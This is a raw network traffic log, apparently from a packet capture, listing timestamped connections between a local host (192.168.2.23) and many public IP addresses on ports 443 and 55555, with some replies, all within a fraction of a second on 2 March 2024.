Mar 2, 2024 12:36:51.824229956 CET	55302	55555	192.168.2.23	172.159.147.119
Mar 2, 2024 12:36:51.824229956 CET	50182	443	192.168.2.23	118.56.35.147
Mar 2, 2024 12:36:51.824229956 CET	50182	443	192.168.2.23	212.43.5.237
Mar 2, 2024 12:36:51.824233055 CET	50182	443	192.168.2.23	37.109.135.247
Mar 2, 2024 12:36:51.824233055 CET	50182	443	192.168.2.23	210.113.31.49
Mar 2, 2024 12:36:51.824234962 CET	443	50182	79.69.246.5	192.168.2.23
Mar 2, 2024 12:36:51.824234009 CET	50182	443	192.168.2.23	118.154.52.174
Mar 2, 2024 12:36:51.824234962 CET	55302	55555	192.168.2.23	98.28.42.220
Mar 2, 2024 12:36:51.824233055 CET	50182	443	192.168.2.23	5.163.28.127
Mar 2, 2024 12:36:51.824237108 CET	443	50182	94.219.187.214	192.168.2.23
Mar 2, 2024 12:36:51.824239016 CET	50182	443	192.168.2.23	210.150.72.208
Mar 2, 2024 12:36:51.824239969 CET	50182	443	192.168.2.23	178.29.6.109
Mar 2, 2024 12:36:51.824239016 CET	50182	443	192.168.2.23	178.112.120.135
Mar 2, 2024 12:36:51.824243069 CET	443	50182	37.109.135.247	192.168.2.23
Mar 2, 2024 12:36:51.824239969 CET	50182	443	192.168.2.23	94.254.103.106
Mar 2, 2024 12:36:51.824243069 CET	443	50182	118.154.52.174	192.168.2.23
Mar 2, 2024 12:36:51.824239969 CET	50182	443	192.168.2.23	2.196.223.154
Mar 2, 2024 12:36:51.824239969 CET	50182	443	192.168.2.23	42.30.216.11
Mar 2, 2024 12:36:51.824246883 CET	443	50182	210.150.72.208	192.168.2.23
Mar 2, 2024 12:36:51.824249983 CET	443	50182	212.43.5.237	192.168.2.23
Mar 2, 2024 12:36:51.824250937 CET	443	50182	210.113.31.49	192.168.2.23
Mar 2, 2024 12:36:51.824249983 CET	443	50182	118.56.35.147	192.168.2.23
Mar 2, 2024 12:36:51.824254990 CET	443	50182	178.29.6.109	192.168.2.23
Mar 2, 2024 12:36:51.824256897 CET	443	50182	178.112.120.135	192.168.2.23
Mar 2, 2024 12:36:51.824260950 CET	443	50182	5.163.28.127	192.168.2.23
Mar 2, 2024 12:36:51.824265003 CET	55302	55555	192.168.2.23	172.198.93.124
Mar 2, 2024 12:36:51.824265957 CET	55302	55555	192.168.2.23	98.90.167.232
Mar 2, 2024 12:36:51.824266911 CET	50182	443	192.168.2.23	79.69.246.5
Mar 2, 2024 12:36:51.824266911 CET	55302	55555	192.168.2.23	98.207.240.184
Mar 2, 2024 12:36:51.824266911 CET	50182	443	192.168.2.23	118.180.134.97
Mar 2, 2024 12:36:51.824268103 CET	443	50182	94.254.103.106	192.168.2.23
Mar 2, 2024 12:36:51.824274063 CET	443	50182	2.196.223.154	192.168.2.23
Mar 2, 2024 12:36:51.824279070 CET	443	50182	42.30.216.11	192.168.2.23
Mar 2, 2024 12:36:51.824289083 CET	50182	443	192.168.2.23	2.106.67.138
Mar 2, 2024 12:36:51.824289083 CET	50182	443	192.168.2.23	2.57.57.231
Mar 2, 2024 12:36:51.824290037 CET	50182	443	192.168.2.23	212.254.86.67
Mar 2, 2024 12:36:51.824290037 CET	55302	55555	192.168.2.23	184.62.173.245
Mar 2, 2024 12:36:51.824290037 CET	50182	443	192.168.2.23	178.81.14.69
Mar 2, 2024 12:36:51.824290037 CET	55302	55555	192.168.2.23	172.89.250.143
Mar 2, 2024 12:36:51.824290037 CET	50182	443	192.168.2.23	210.95.29.27
Mar 2, 2024 12:36:51.824292898 CET	50182	443	192.168.2.23	94.219.187.214
Mar 2, 2024 12:36:51.824290037 CET	55302	55555	192.168.2.23	172.209.247.135
Mar 2, 2024 12:36:51.824292898 CET	50182	443	192.168.2.23	178.29.6.109
Mar 2, 2024 12:36:51.824299097 CET	50182	443	192.168.2.23	37.109.135.247
Mar 2, 2024 12:36:51.824301004 CET	443	50182	2.106.67.138	192.168.2.23
Mar 2, 2024 12:36:51.824305058 CET	443	50182	212.254.86.67	192.168.2.23
Mar 2, 2024 12:36:51.824306011 CET	50182	443	192.168.2.23	210.150.72.208
Mar 2, 2024 12:36:51.824306965 CET	50182	443	192.168.2.23	118.154.52.174
Mar 2, 2024 12:36:51.824310064 CET	50182	443	192.168.2.23	212.252.74.118
Mar 2, 2024 12:36:51.824311018 CET	50182	443	192.168.2.23	109.43.110.180
Mar 2, 2024 12:36:51.824314117 CET	443	50182	2.57.57.231	192.168.2.23
Mar 2, 2024 12:36:51.824314117 CET	50182	443	192.168.2.23	5.182.87.75
Mar 2, 2024 12:36:51.824316978 CET	443	50182	212.252.74.118	192.168.2.23
Mar 2, 2024 12:36:51.824320078 CET	50182	443	192.168.2.23	178.112.120.135
Mar 2, 2024 12:36:51.824321032 CET	443	50182	5.182.87.75	192.168.2.23
Mar 2, 2024 12:36:51.824321985 CET	443	50182	109.43.110.180	192.168.2.23
Mar 2, 2024 12:36:51.824320078 CET	50182	443	192.168.2.23	42.30.216.11
Mar 2, 2024 12:36:51.824320078 CET	50182	443	192.168.2.23	94.254.103.106
Mar 2, 2024 12:36:51.824320078 CET	50182	443	192.168.2.23	2.196.223.154
Mar 2, 2024 12:36:51.824325085 CET	50182	443	192.168.2.23	212.43.5.237
Mar 2, 2024 12:36:51.824326038 CET	50182	443	192.168.2.23	210.113.31.49
Mar 2, 2024 12:36:51.824325085 CET	50182	443	192.168.2.23	118.56.35.147
Mar 2, 2024 12:36:51.824326038 CET	50182	443	192.168.2.23	5.163.28.127
Mar 2, 2024 12:36:51.824325085 CET	55302	55555	192.168.2.23	184.47.81.188
Mar 2, 2024 12:36:51.824326992 CET	50182	443	192.168.2.23	210.74.227.241
Mar 2, 2024 12:36:51.824330091 CET	50182	443	192.168.2.23	2.106.67.138
Mar 2, 2024 12:36:51.824330091 CET	50182	443	192.168.2.23	2.57.57.231
Mar 2, 2024 12:36:51.824337006 CET	443	50182	210.74.227.241	192.168.2.23
Mar 2, 2024 12:36:51.824342012 CET	50182	443	192.168.2.23	212.254.86.67
Mar 2, 2024 12:36:51.824354887 CET	50182	443	192.168.2.23	37.221.229.90
Mar 2, 2024 12:36:51.824356079 CET	50182	443	192.168.2.23	212.252.74.118
Mar 2, 2024 12:36:51.824356079 CET	50182	443	192.168.2.23	109.43.110.180
Mar 2, 2024 12:36:51.824357986 CET	50182	443	192.168.2.23	5.182.87.75
Mar 2, 2024 12:36:51.824363947 CET	443	50182	37.221.229.90	192.168.2.23
Mar 2, 2024 12:36:51.824373960 CET	55302	55555	192.168.2.23	172.31.202.204
Mar 2, 2024 12:36:51.824378014 CET	55302	55555	192.168.2.23	172.255.119.70
Mar 2, 2024 12:36:51.824384928 CET	55302	55555	192.168.2.23	98.173.243.138
Mar 2, 2024 12:36:51.824393988 CET	55302	55555	192.168.2.23	172.54.153.241
Mar 2, 2024 12:36:51.824393988 CET	55302	55555	192.168.2.23	184.114.46.198
Mar 2, 2024 12:36:51.824393988 CET	55302	55555	192.168.2.23	184.97.196.83
Mar 2, 2024 12:36:51.824395895 CET	50182	443	192.168.2.23	210.74.227.241
Mar 2, 2024 12:36:51.824395895 CET	55302	55555	192.168.2.23	98.65.0.63
Mar 2, 2024 12:36:51.824395895 CET	55302	55555	192.168.2.23	184.57.114.157
Mar 2, 2024 12:36:51.824409008 CET	50182	443	192.168.2.23	94.173.172.2
Mar 2, 2024 12:36:51.824409962 CET	55302	55555	192.168.2.23	98.34.186.83
Mar 2, 2024 12:36:51.824409962 CET	50182	443	192.168.2.23	5.122.2.157
Mar 2, 2024 12:36:51.824412107 CET	55302	55555	192.168.2.23	172.204.194.231
Mar 2, 2024 12:36:51.824412107 CET	50182	443	192.168.2.23	212.114.150.197
Mar 2, 2024 12:36:51.824412107 CET	50182	443	192.168.2.23	210.227.118.47
Mar 2, 2024 12:36:51.824412107 CET	55302	55555	192.168.2.23	98.170.71.68
Mar 2, 2024 12:36:51.824414968 CET	443	50182	94.173.172.2	192.168.2.23
Mar 2, 2024 12:36:51.824424982 CET	443	50182	212.114.150.197	192.168.2.23
Mar 2, 2024 12:36:51.824424982 CET	55302	55555	192.168.2.23	184.8.171.201
Mar 2, 2024 12:36:51.824426889 CET	50182	443	192.168.2.23	2.198.165.243
Mar 2, 2024 12:36:51.824428082 CET	443	50182	5.122.2.157	192.168.2.23
Mar 2, 2024 12:36:51.824429989 CET	50182	443	192.168.2.23	212.102.30.98
Mar 2, 2024 12:36:51.824429989 CET	50182	443	192.168.2.23	210.40.225.177
Mar 2, 2024 12:36:51.824429989 CET	50182	443	192.168.2.23	37.221.229.90
Mar 2, 2024 12:36:51.824431896 CET	443	50182	2.198.165.243	192.168.2.23
Mar 2, 2024 12:36:51.824429989 CET	50182	443	192.168.2.23	79.250.222.138
Mar 2, 2024 12:36:51.824434996 CET	50182	443	192.168.2.23	109.198.121.253
Mar 2, 2024 12:36:51.824434996 CET	55302	55555	192.168.2.23	184.35.61.159
Mar 2, 2024 12:36:51.824434996 CET	55302	55555	192.168.2.23	172.58.173.213
Mar 2, 2024 12:36:51.824434996 CET	50182	443	192.168.2.23	178.1.166.92
Mar 2, 2024 12:36:51.824435949 CET	443	50182	210.227.118.47	192.168.2.23
Mar 2, 2024 12:36:51.824438095 CET	50182	443	192.168.2.23	118.141.207.156
Mar 2, 2024 12:36:51.824438095 CET	50182	443	192.168.2.23	79.90.151.151
Mar 2, 2024 12:36:51.824438095 CET	50182	443	192.168.2.23	2.88.45.244
Mar 2, 2024 12:36:51.824438095 CET	50182	443	192.168.2.23	37.187.199.66
Mar 2, 2024 12:36:51.824439049 CET	55302	55555	192.168.2.23	172.149.182.232
Mar 2, 2024 12:36:51.824445963 CET	443	50182	79.90.151.151	192.168.2.23
Mar 2, 2024 12:36:51.824446917 CET	443	50182	212.102.30.98	192.168.2.23
Mar 2, 2024 12:36:51.824445963 CET	443	50182	118.141.207.156	192.168.2.23
Mar 2, 2024 12:36:51.824449062 CET	443	50182	109.198.121.253	192.168.2.23
Mar 2, 2024 12:36:51.824450016 CET	50182	443	192.168.2.23	2.198.165.243
Mar 2, 2024 12:36:51.824450970 CET	50182	443	192.168.2.23	118.132.30.185
Mar 2, 2024 12:36:51.824450970 CET	50182	443	192.168.2.23	118.133.3.140
Mar 2, 2024 12:36:51.824454069 CET	50182	443	192.168.2.23	94.154.177.232
Mar 2, 2024 12:36:51.824454069 CET	50182	443	192.168.2.23	79.40.43.27
Mar 2, 2024 12:36:51.824454069 CET	50182	443	192.168.2.23	210.25.230.40
Mar 2, 2024 12:36:51.824454069 CET	55302	55555	192.168.2.23	184.7.30.43
Mar 2, 2024 12:36:51.824455976 CET	443	50182	37.187.199.66	192.168.2.23
Mar 2, 2024 12:36:51.824455976 CET	443	50182	2.88.45.244	192.168.2.23
Mar 2, 2024 12:36:51.824456930 CET	443	50182	178.1.166.92	192.168.2.23
Mar 2, 2024 12:36:51.824454069 CET	55302	55555	192.168.2.23	98.39.216.11
Mar 2, 2024 12:36:51.824459076 CET	443	50182	118.132.30.185	192.168.2.23
Mar 2, 2024 12:36:51.824454069 CET	50182	443	192.168.2.23	37.37.172.40
Mar 2, 2024 12:36:51.824460030 CET	443	50182	210.40.225.177	192.168.2.23
Mar 2, 2024 12:36:51.824454069 CET	50182	443	192.168.2.23	212.114.150.197
Mar 2, 2024 12:36:51.824464083 CET	443	50182	118.133.3.140	192.168.2.23
Mar 2, 2024 12:36:51.824465036 CET	50182	443	192.168.2.23	210.70.237.142
Mar 2, 2024 12:36:51.824465990 CET	50182	443	192.168.2.23	94.173.172.2
Mar 2, 2024 12:36:51.824466944 CET	443	50182	79.250.222.138	192.168.2.23
Mar 2, 2024 12:36:51.824469090 CET	50182	443	192.168.2.23	178.230.30.10
Mar 2, 2024 12:36:51.824470043 CET	443	50182	210.70.237.142	192.168.2.23
Mar 2, 2024 12:36:51.824474096 CET	443	50182	178.230.30.10	192.168.2.23
Mar 2, 2024 12:36:51.824475050 CET	55302	55555	192.168.2.23	98.170.71.28
Mar 2, 2024 12:36:51.824474096 CET	50182	443	192.168.2.23	94.11.49.250
Mar 2, 2024 12:36:51.824479103 CET	443	50182	94.154.177.232	192.168.2.23
Mar 2, 2024 12:36:51.824481964 CET	443	50182	94.11.49.250	192.168.2.23
Mar 2, 2024 12:36:51.824481964 CET	50182	443	192.168.2.23	42.216.43.113
Mar 2, 2024 12:36:51.824485064 CET	443	50182	79.40.43.27	192.168.2.23
Mar 2, 2024 12:36:51.824486971 CET	55302	55555	192.168.2.23	184.94.134.72
Mar 2, 2024 12:36:51.824487925 CET	55302	55555	192.168.2.23	172.250.198.87
Mar 2, 2024 12:36:51.824490070 CET	443	50182	210.25.230.40	192.168.2.23
Mar 2, 2024 12:36:51.824490070 CET	443	50182	42.216.43.113	192.168.2.23
Mar 2, 2024 12:36:51.824496031 CET	50182	443	192.168.2.23	2.251.55.251
Mar 2, 2024 12:36:51.824496031 CET	50182	443	192.168.2.23	79.90.151.151
Mar 2, 2024 12:36:51.824497938 CET	50182	443	192.168.2.23	118.132.30.185
Mar 2, 2024 12:36:51.824501038 CET	50182	443	192.168.2.23	5.122.2.157
Mar 2, 2024 12:36:51.824501038 CET	50182	443	192.168.2.23	118.141.207.156
Mar 2, 2024 12:36:51.824501991 CET	443	50182	37.37.172.40	192.168.2.23
Mar 2, 2024 12:36:51.824510098 CET	50182	443	192.168.2.23	37.187.199.66
Mar 2, 2024 12:36:51.824510098 CET	50182	443	192.168.2.23	178.1.166.92
Mar 2, 2024 12:36:51.824512959 CET	443	50182	2.251.55.251	192.168.2.23
Mar 2, 2024 12:36:51.824512959 CET	50182	443	192.168.2.23	212.102.30.98
Mar 2, 2024 12:36:51.824512959 CET	50182	443	192.168.2.23	118.133.3.140
Mar 2, 2024 12:36:51.824515104 CET	50182	443	192.168.2.23	2.88.45.244
Mar 2, 2024 12:36:51.824523926 CET	55302	55555	192.168.2.23	172.156.242.83
Mar 2, 2024 12:36:51.824523926 CET	50182	443	192.168.2.23	210.40.225.177
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	2.214.16.79
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	210.10.88.78
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	210.227.118.47
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	94.154.177.232
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	210.25.230.40
Mar 2, 2024 12:36:51.824526072 CET	50182	443	192.168.2.23	79.40.43.27
Mar 2, 2024 12:36:51.824533939 CET	50182	443	192.168.2.23	109.198.121.253
Mar 2, 2024 12:36:51.824533939 CET	50182	443	192.168.2.23	210.70.237.142
Mar 2, 2024 12:36:51.824536085 CET	50182	443	192.168.2.23	37.52.41.195
Mar 2, 2024 12:36:51.824539900 CET	443	50182	2.214.16.79	192.168.2.23
Mar 2, 2024 12:36:51.824544907 CET	443	50182	210.10.88.78	192.168.2.23
Mar 2, 2024 12:36:51.824547052 CET	443	50182	37.52.41.195	192.168.2.23
Mar 2, 2024 12:36:51.824554920 CET	55302	55555	192.168.2.23	172.244.211.118
Mar 2, 2024 12:36:51.824554920 CET	50182	443	192.168.2.23	37.183.194.117
Mar 2, 2024 12:36:51.824554920 CET	50182	443	192.168.2.23	178.156.155.124
Mar 2, 2024 12:36:51.824558973 CET	55302	55555	192.168.2.23	98.184.79.85
Mar 2, 2024 12:36:51.824558973 CET	50182	443	192.168.2.23	42.42.250.70
Mar 2, 2024 12:36:51.824558973 CET	55302	55555	192.168.2.23	184.140.174.194
Mar 2, 2024 12:36:51.824558973 CET	50182	443	192.168.2.23	94.103.133.6
Mar 2, 2024 12:36:51.824561119 CET	55302	55555	192.168.2.23	172.246.74.252
Mar 2, 2024 12:36:51.824561119 CET	55302	55555	192.168.2.23	172.221.35.249
Mar 2, 2024 12:36:51.824561119 CET	50182	443	192.168.2.23	109.209.183.85
Mar 2, 2024 12:36:51.824561119 CET	50182	443	192.168.2.23	79.53.104.90
Mar 2, 2024 12:36:51.824563980 CET	55302	55555	192.168.2.23	184.13.211.109
Mar 2, 2024 12:36:51.824563980 CET	50182	443	192.168.2.23	210.79.42.226
Mar 2, 2024 12:36:51.824563980 CET	50182	443	192.168.2.23	79.174.45.0
Mar 2, 2024 12:36:51.824563980 CET	50182	443	192.168.2.23	94.228.99.251
Mar 2, 2024 12:36:51.824573994 CET	50182	443	192.168.2.23	212.153.4.2
Mar 2, 2024 12:36:51.824575901 CET	443	50182	210.79.42.226	192.168.2.23
Mar 2, 2024 12:36:51.824578047 CET	443	50182	42.42.250.70	192.168.2.23
Mar 2, 2024 12:36:51.824580908 CET	443	50182	37.183.194.117	192.168.2.23
Mar 2, 2024 12:36:51.824580908 CET	443	50182	212.153.4.2	192.168.2.23
Mar 2, 2024 12:36:51.824582100 CET	50182	443	192.168.2.23	212.178.54.193
Mar 2, 2024 12:36:51.824582100 CET	50182	443	192.168.2.23	118.243.117.190
Mar 2, 2024 12:36:51.824583054 CET	443	50182	109.209.183.85	192.168.2.23
Mar 2, 2024 12:36:51.824584961 CET	443	50182	79.174.45.0	192.168.2.23
Mar 2, 2024 12:36:51.824587107 CET	443	50182	178.156.155.124	192.168.2.23
Mar 2, 2024 12:36:51.824589014 CET	443	50182	94.103.133.6	192.168.2.23
Mar 2, 2024 12:36:51.824593067 CET	50182	443	192.168.2.23	79.250.222.138
Mar 2, 2024 12:36:51.824593067 CET	443	50182	212.178.54.193	192.168.2.23
Mar 2, 2024 12:36:51.824593067 CET	50182	443	192.168.2.23	42.216.43.113
Mar 2, 2024 12:36:51.824594021 CET	443	50182	79.53.104.90	192.168.2.23
Mar 2, 2024 12:36:51.824594021 CET	443	50182	94.228.99.251	192.168.2.23
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	94.11.49.250
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	178.230.30.10
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	212.77.41.163
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	2.251.55.251
Mar 2, 2024 12:36:51.824598074 CET	443	50182	118.243.117.190	192.168.2.23
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	2.214.16.79
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	37.37.172.40
Mar 2, 2024 12:36:51.824594021 CET	50182	443	192.168.2.23	210.10.88.78
Mar 2, 2024 12:36:51.824604034 CET	55302	55555	192.168.2.23	98.246.160.86
Mar 2, 2024 12:36:51.824609041 CET	50182	443	192.168.2.23	37.52.41.195
Mar 2, 2024 12:36:51.824609995 CET	50182	443	192.168.2.23	94.158.157.92
Mar 2, 2024 12:36:51.824609995 CET	443	50182	212.77.41.163	192.168.2.23
Mar 2, 2024 12:36:51.824609995 CET	55302	55555	192.168.2.23	184.193.156.70
Mar 2, 2024 12:36:51.824609995 CET	55302	55555	192.168.2.23	184.163.28.225
Mar 2, 2024 12:36:51.824615955 CET	50182	443	192.168.2.23	42.42.250.70
Mar 2, 2024 12:36:51.824615955 CET	50182	443	192.168.2.23	94.103.133.6
Mar 2, 2024 12:36:51.824619055 CET	50182	443	192.168.2.23	210.79.42.226
Mar 2, 2024 12:36:51.824620962 CET	443	50182	94.158.157.92	192.168.2.23
Mar 2, 2024 12:36:51.824620962 CET	50182	443	192.168.2.23	109.209.183.85
Mar 2, 2024 12:36:51.824625969 CET	50182	443	192.168.2.23	79.174.45.0
Mar 2, 2024 12:36:51.824626923 CET	50182	443	192.168.2.23	212.153.4.2
Mar 2, 2024 12:36:51.824629068 CET	50182	443	192.168.2.23	212.178.54.193
Mar 2, 2024 12:36:51.824629068 CET	50182	443	192.168.2.23	118.243.117.190
Mar 2, 2024 12:36:51.824630976 CET	50182	443	192.168.2.23	94.228.99.251
Mar 2, 2024 12:36:51.824640989 CET	50182	443	192.168.2.23	37.183.194.117
Mar 2, 2024 12:36:51.824644089 CET	55302	55555	192.168.2.23	184.227.228.187
Mar 2, 2024 12:36:51.824660063 CET	55302	55555	192.168.2.23	98.72.125.180
Mar 2, 2024 12:36:51.824660063 CET	50182	443	192.168.2.23	79.53.104.90
Mar 2, 2024 12:36:51.824667931 CET	50182	443	192.168.2.23	178.156.155.124
Mar 2, 2024 12:36:51.824667931 CET	50182	443	192.168.2.23	212.77.41.163
Mar 2, 2024 12:36:51.824673891 CET	50182	443	192.168.2.23	42.54.134.170
Mar 2, 2024 12:36:51.824676037 CET	55302	55555	192.168.2.23	184.0.63.205
Mar 2, 2024 12:36:51.824681044 CET	443	50182	42.54.134.170	192.168.2.23
Mar 2, 2024 12:36:51.824687958 CET	50182	443	192.168.2.23	94.158.157.92
Mar 2, 2024 12:36:51.824687958 CET	55302	55555	192.168.2.23	184.81.179.202
Mar 2, 2024 12:36:51.824688911 CET	50182	443	192.168.2.23	109.251.206.213
Mar 2, 2024 12:36:51.824687958 CET	55302	55555	192.168.2.23	172.199.33.78
Mar 2, 2024 12:36:51.824687958 CET	50182	443	192.168.2.23	79.177.15.58
Mar 2, 2024 12:36:51.824693918 CET	55302	55555	192.168.2.23	98.122.121.30
Mar 2, 2024 12:36:51.824698925 CET	55302	55555	192.168.2.23	98.251.20.110
Mar 2, 2024 12:36:51.824698925 CET	50182	443	192.168.2.23	178.155.74.135
Mar 2, 2024 12:36:51.824702024 CET	443	50182	109.251.206.213	192.168.2.23
Mar 2, 2024 12:36:51.824704885 CET	55302	55555	192.168.2.23	184.94.232.87
Mar 2, 2024 12:36:51.824707031 CET	50182	443	192.168.2.23	118.168.244.88
Mar 2, 2024 12:36:51.824707031 CET	443	50182	79.177.15.58	192.168.2.23
Mar 2, 2024 12:36:51.824707985 CET	55302	55555	192.168.2.23	172.185.177.205
Mar 2, 2024 12:36:51.824708939 CET	443	50182	178.155.74.135	192.168.2.23
Mar 2, 2024 12:36:51.824707985 CET	55302	55555	192.168.2.23	184.75.231.238
Mar 2, 2024 12:36:51.824707985 CET	55302	55555	192.168.2.23	172.57.108.43
Mar 2, 2024 12:36:51.824714899 CET	443	50182	118.168.244.88	192.168.2.23
Mar 2, 2024 12:36:51.824721098 CET	50182	443	192.168.2.23	42.54.134.170
Mar 2, 2024 12:36:51.824721098 CET	50182	443	192.168.2.23	94.193.174.140
Mar 2, 2024 12:36:51.824728966 CET	443	50182	94.193.174.140	192.168.2.23
Mar 2, 2024 12:36:51.824732065 CET	50182	443	192.168.2.23	178.114.221.240
Mar 2, 2024 12:36:51.824738026 CET	443	50182	178.114.221.240	192.168.2.23
Mar 2, 2024 12:36:51.824738979 CET	55302	55555	192.168.2.23	184.201.95.170
Mar 2, 2024 12:36:51.824745893 CET	55302	55555	192.168.2.23	184.170.7.239
Mar 2, 2024 12:36:51.824745893 CET	55302	55555	192.168.2.23	172.151.21.25
Mar 2, 2024 12:36:51.824745893 CET	55302	55555	192.168.2.23	98.30.219.120
Mar 2, 2024 12:36:51.824747086 CET	50182	443	192.168.2.23	178.155.74.135
Mar 2, 2024 12:36:51.824754000 CET	55302	55555	192.168.2.23	184.70.131.5
Mar 2, 2024 12:36:51.824754000 CET	55302	55555	192.168.2.23	184.225.223.74
Mar 2, 2024 12:36:51.824759960 CET	55302	55555	192.168.2.23	184.191.87.62
Mar 2, 2024 12:36:51.824767113 CET	55302	55555	192.168.2.23	98.79.247.83
Mar 2, 2024 12:36:51.824767113 CET	55302	55555	192.168.2.23	172.204.105.183
Mar 2, 2024 12:36:51.824773073 CET	50182	443	192.168.2.23	118.168.244.88
Mar 2, 2024 12:36:51.824773073 CET	50182	443	192.168.2.23	109.251.206.213
Mar 2, 2024 12:36:51.824773073 CET	55302	55555	192.168.2.23	172.225.70.54
Mar 2, 2024 12:36:51.824773073 CET	50182	443	192.168.2.23	178.114.221.240
Mar 2, 2024 12:36:51.824774981 CET	50182	443	192.168.2.23	79.177.15.58
Mar 2, 2024 12:36:51.824774981 CET	55302	55555	192.168.2.23	184.24.28.160
Mar 2, 2024 12:36:51.824774981 CET	55302	55555	192.168.2.23	172.151.147.53
Mar 2, 2024 12:36:51.824784994 CET	55302	55555	192.168.2.23	184.216.175.49
Mar 2, 2024 12:36:51.824785948 CET	55302	55555	192.168.2.23	184.76.27.162
Mar 2, 2024 12:36:51.824794054 CET	55302	55555	192.168.2.23	98.188.251.97
Mar 2, 2024 12:36:51.824794054 CET	55302	55555	192.168.2.23	184.208.73.62
Mar 2, 2024 12:36:51.824795961 CET	50182	443	192.168.2.23	94.193.174.140
Mar 2, 2024 12:36:51.824800014 CET	55302	55555	192.168.2.23	172.168.38.108
Mar 2, 2024 12:36:51.824803114 CET	50182	443	192.168.2.23	37.114.0.131
Mar 2, 2024 12:36:51.824806929 CET	55302	55555	192.168.2.23	98.116.43.185
Mar 2, 2024 12:36:51.824807882 CET	55302	55555	192.168.2.23	184.154.97.53
Mar 2, 2024 12:36:51.824807882 CET	55302	55555	192.168.2.23	172.59.168.99
Mar 2, 2024 12:36:51.824807882 CET	50182	443	192.168.2.23	5.20.245.69
Mar 2, 2024 12:36:51.824809074 CET	443	50182	37.114.0.131	192.168.2.23
Mar 2, 2024 12:36:51.824810028 CET	50182	443	192.168.2.23	79.119.68.140
Mar 2, 2024 12:36:51.824810028 CET	55302	55555	192.168.2.23	98.1.92.184
Mar 2, 2024 12:36:51.824810028 CET	55302	55555	192.168.2.23	98.35.247.141
Mar 2, 2024 12:36:51.824814081 CET	50182	443	192.168.2.23	37.168.27.37
Mar 2, 2024 12:36:51.824817896 CET	55302	55555	192.168.2.23	184.1.130.94
Mar 2, 2024 12:36:51.824822903 CET	443	50182	37.168.27.37	192.168.2.23
Mar 2, 2024 12:36:51.824834108 CET	443	50182	79.119.68.140	192.168.2.23
Mar 2, 2024 12:36:51.824840069 CET	55302	55555	192.168.2.23	98.24.192.217
Mar 2, 2024 12:36:51.824840069 CET	55302	55555	192.168.2.23	172.145.29.100
Mar 2, 2024 12:36:51.824840069 CET	50182	443	192.168.2.23	5.95.101.41
Mar 2, 2024 12:36:51.824841976 CET	50182	443	192.168.2.23	109.154.196.60
Mar 2, 2024 12:36:51.824845076 CET	443	50182	5.20.245.69	192.168.2.23
Mar 2, 2024 12:36:51.824850082 CET	443	50182	109.154.196.60	192.168.2.23
Mar 2, 2024 12:36:51.824851990 CET	443	50182	5.95.101.41	192.168.2.23
Mar 2, 2024 12:36:51.824855089 CET	50182	443	192.168.2.23	37.114.0.131
Mar 2, 2024 12:36:51.824855089 CET	55302	55555	192.168.2.23	98.142.103.61
Mar 2, 2024 12:36:51.824857950 CET	55302	55555	192.168.2.23	184.250.231.160
Mar 2, 2024 12:36:51.824857950 CET	50182	443	192.168.2.23	118.45.228.234
Mar 2, 2024 12:36:51.824857950 CET	55302	55555	192.168.2.23	172.131.51.250
Mar 2, 2024 12:36:51.824862003 CET	55302	55555	192.168.2.23	184.120.187.85
Mar 2, 2024 12:36:51.824862003 CET	50182	443	192.168.2.23	42.186.175.43
Mar 2, 2024 12:36:51.824862957 CET	50182	443	192.168.2.23	118.191.153.102
Mar 2, 2024 12:36:51.824862957 CET	50182	443	192.168.2.23	79.1.172.183
Mar 2, 2024 12:36:51.824862957 CET	50182	443	192.168.2.23	210.28.8.78
Mar 2, 2024 12:36:51.824867010 CET	55302	55555	192.168.2.23	184.253.95.134
Mar 2, 2024 12:36:51.824867010 CET	50182	443	192.168.2.23	37.102.228.141
Mar 2, 2024 12:36:51.824868917 CET	443	50182	79.1.172.183	192.168.2.23
Mar 2, 2024 12:36:51.824872971 CET	50182	443	192.168.2.23	210.63.185.49
Mar 2, 2024 12:36:51.824873924 CET	443	50182	37.102.228.141	192.168.2.23
Mar 2, 2024 12:36:51.824873924 CET	55302	55555	192.168.2.23	172.130.11.0
Mar 2, 2024 12:36:51.824873924 CET	55302	55555	192.168.2.23	184.245.83.121
Mar 2, 2024 12:36:51.824876070 CET	443	50182	118.191.153.102	192.168.2.23
Mar 2, 2024 12:36:51.824876070 CET	50182	443	192.168.2.23	79.119.68.140
Mar 2, 2024 12:36:51.824875116 CET	443	50182	118.45.228.234	192.168.2.23
Mar 2, 2024 12:36:51.824877024 CET	55302	55555	192.168.2.23	172.162.107.22
Mar 2, 2024 12:36:51.824878931 CET	55302	55555	192.168.2.23	172.91.86.196
Mar 2, 2024 12:36:51.824877024 CET	55302	55555	192.168.2.23	184.91.244.9
Mar 2, 2024 12:36:51.824882984 CET	55302	55555	192.168.2.23	172.197.236.211
Mar 2, 2024 12:36:51.824882984 CET	55302	55555	192.168.2.23	184.174.1.106
Mar 2, 2024 12:36:51.824883938 CET	443	50182	42.186.175.43	192.168.2.23
Mar 2, 2024 12:36:51.824887037 CET	443	50182	210.63.185.49	192.168.2.23
Mar 2, 2024 12:36:51.824891090 CET	443	50182	210.28.8.78	192.168.2.23
Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	184.70.35.132
Mar 2, 2024 12:36:51.824893951 CET	55302	55555	192.168.2.23	184.79.143.172
Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	172.215.25.129
Mar 2, 2024 12:36:51.824893951 CET	55302	55555	192.168.2.23	184.151.203.119
Mar 2, 2024 12:36:51.824892998 CET	55302	55555	192.168.2.23	184.118.108.145
Mar 2, 2024 12:36:51.824892998 CET	50182	443	192.168.2.23	109.124.34.140
Mar 2, 2024 12:36:51.824894905 CET	55302	55555	192.168.2.23	172.132.37.78
Mar 2, 2024 12:36:51.824892998 CET	50182	443	192.168.2.23	109.154.196.60
Mar 2, 2024 12:36:51.824892998 CET	50182	443	192.168.2.23	5.20.245.69
